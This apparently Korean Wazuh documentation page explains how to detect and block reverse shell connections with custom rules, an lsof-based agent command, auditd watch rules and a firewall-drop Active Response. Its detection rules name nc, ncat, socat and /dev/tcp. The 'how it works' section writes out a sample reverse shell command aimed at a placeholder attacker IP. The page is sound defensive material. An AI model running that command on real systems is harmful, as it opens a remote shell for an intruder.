> For the complete documentation index, see [llms.txt](https://h08.gitbook.io/undefined/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h08.gitbook.io/undefined/custom-rule-and-active-response/2./2.2.md).

# 2.2 리버스 쉘 연결 탐지 및 차단

## 1. 개요

* 공격자가 일반적인 인바운드 방화벽 정책을 우회하기 위해, 감염된 내부 서버에서 외부의 공격자 서버로 역으로 연결을 시도하는 리버스 쉘 공격을 탐지 및 차단하기 위함
* 이중 탐지 전략
  1. 연결 상태 모니터링 : `lsof` 명령어를 통해 쉘 프로세스가 맺고 있는 네트워크 연결(ESTABLISHED)을 주기적으로 확인
  2. 실행 차단 : `auditd`를 활용하여 `nc`, `ncat`, `/dev/tcp` 등 리버스 쉘 연결에 사용되는 도구의 실행 자체를 감지하고 Active Response로 즉시 차단

***

## 2. 룰

### 2.1 100510 (네트워크 연결 탐지)

```xml
<group name="linux, webshell,">
  <rule id="100510" level="12">
    <decoded_as>ossec</decoded_as>
    <match>ossec: output: 'webshell connections'</match>
    <description>[Network connection]: Script attempting network connection on source port: $(local_port) and destination port: $(foreign_port)</description>
    <mitre>
      <id>T1049</id>
      <id>T1505.003</id>
    </mitre>
  </rule>
</group>
```

### 2.2 100511, 100520 (공격 도구 실행 탐지 및 차단)

```xml
<group name="auditd, reverse_shell">
  <rule id="100511" level="12">
    <if_sid>80792</if_sid>
    <field name="audit.command">nc|ncat|netcat|socat</field>
    <description>Reverse Shell Tool Execution Detected: $(audit.command)</description>
    <mitre>
      <id>T1059</id>
    </mitre>
  </rule>

  <rule id="100520" level="12">
    <if_sid>80792</if_sid>
    <match>/dev/tcp/</match> 
    <description>Bash Reverse Shell Activity Detected via /dev/tcp</description>
    <mitre>
      <id>T1059.004</id>
    </mitre>
  </rule>
</group>
```

***

## 3. 환경설정

### 3.1 Manager

* /var/ossec/etc/decoders/

  ```xml
  <decoder name="network-traffic-child">
    <parent>ossec</parent>
    <prematch offset="after_parent">^output: 'webshell connections':</prematch>
    <regex offset="after_prematch" type="pcre2">(\d+.\d+.\d+.\d+):(\d+)->(\d+.\d+.\d+.\d+):(\d+)</regex>
    <order>local_ip, local_port, foreign_ip, foreign_port</order>
  </decoder>
  ```

  * `lsof` 명령어의 출력값에서 IP와 포트 정보를 파싱하기 위한 디코더를 설정

* Active Response (/var/ossec/etc/ossec.conf/)

  ```xml
  <active-response>
    <disabled>no</disabled>
    <command>firewall-drop</command>
    <location>local</location>
    <rules_id>100511,100520</rules_id>
    <timeout>600</timeout>
  </active-response>
  ```

### 3.2 Agent

* /var/ossec/etc/ossec.conf/ (명령어 실행 설정)

  ```xml
  <localfile>
    <log_format>full_command</log_format>
    <command>sudo lsof -i -nP | grep ESTABLISHED | egrep -w '(sh|bash|zsh|ksh|csh)' | awk '{print $9}'</command>
    <alias>webshell connections</alias>
    <frequency>120</frequency>
  </localfile>
  ```

* /etc/audit/rules.d/ (감사규칙추가)

  ```bash
  -w /usr/bin/nc -p x -k reverse_shell_tools
  -w /bin/nc -p x -k reverse_shell_tools
  -w /usr/bin/ncat -p x -k reverse_shell_tools
  -w /usr/bin/socat -p x -k reverse_shell_tools
  -w /bin/bash -p x -k shell_exec
  ```

***

## 4. 작동원리

1. 공격 실행

* 공격자가 웹쉘을 통해 `nc <AttackerIP> <Port> -e /bin/bash` 명령을 실행하거나, 소켓 통신을 시도

2. 실행 단계 탐지 및 차단 (Auditd)

* `auditd` 데몬이 커널 레벨에서 `nc`, `socat` 등의 프로세스 실행(`execve`)을 감지
* Rule 100511/100520이 트리거되며, 설정된 Active Response가 즉시 동작하여 해당 세션을 강제 종료하거나 방화벽으로 차단

3. 연결 단계 탐지 (Lsof)

* 차단을 우회하여 연결이 수립된 경우, Wazuh Agent가 주기적(2분)으로 실행하는 `lsof` 명령어가 동작
* `grep ESTABLISHED`와 `egrep` 필터를 통해 \*\*'쉘 프로세스(bash)'\*\*가 맺고 있는 외부 네트워크 연결을 식별
* 식별된 정보는 `webshell connections`라는 태그와 함께 서버로 전송되어 Rule 100510 경보를 발생

<figure><img src="https://3550524140-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMQqlpxjtA7kpPBgieO9x%2Fuploads%2FF5dE2zrU2cDX88K5jSOT%2Fimage.png?alt=media&amp;token=570249bc-f7c3-40c3-992c-07146d90bc1a" alt=""><figcaption></figcaption></figure>

***

## 5. 트러블 슈팅

#### 불필요한 과다 알림 발생

* 현상 : 리버스 쉘이 아닌 정상적인 종료 연결이나 TIME\_WAIT 상태의 소켓까지 탐지되어 오탐 알람이 다수 발생
* 원인 : 초기 `lsof` 명령어 설정 시 연결 상태(State)에 대한 필터링이 누락되어, 단순히 포트를 점유했던 모든 이력이 탐지
* 해결
  * 명령어 파이프라인에 `grep ESTABLISHED` 구문을 추가하여, 현재 실제로 연결되어 있는 활성 세션만 탐지하도록 조건을 강화
  * 이를 통해 정상적인 쉘 사용이나 종료된 세션에 대한 오탐을 제거하고 정확도를 확보
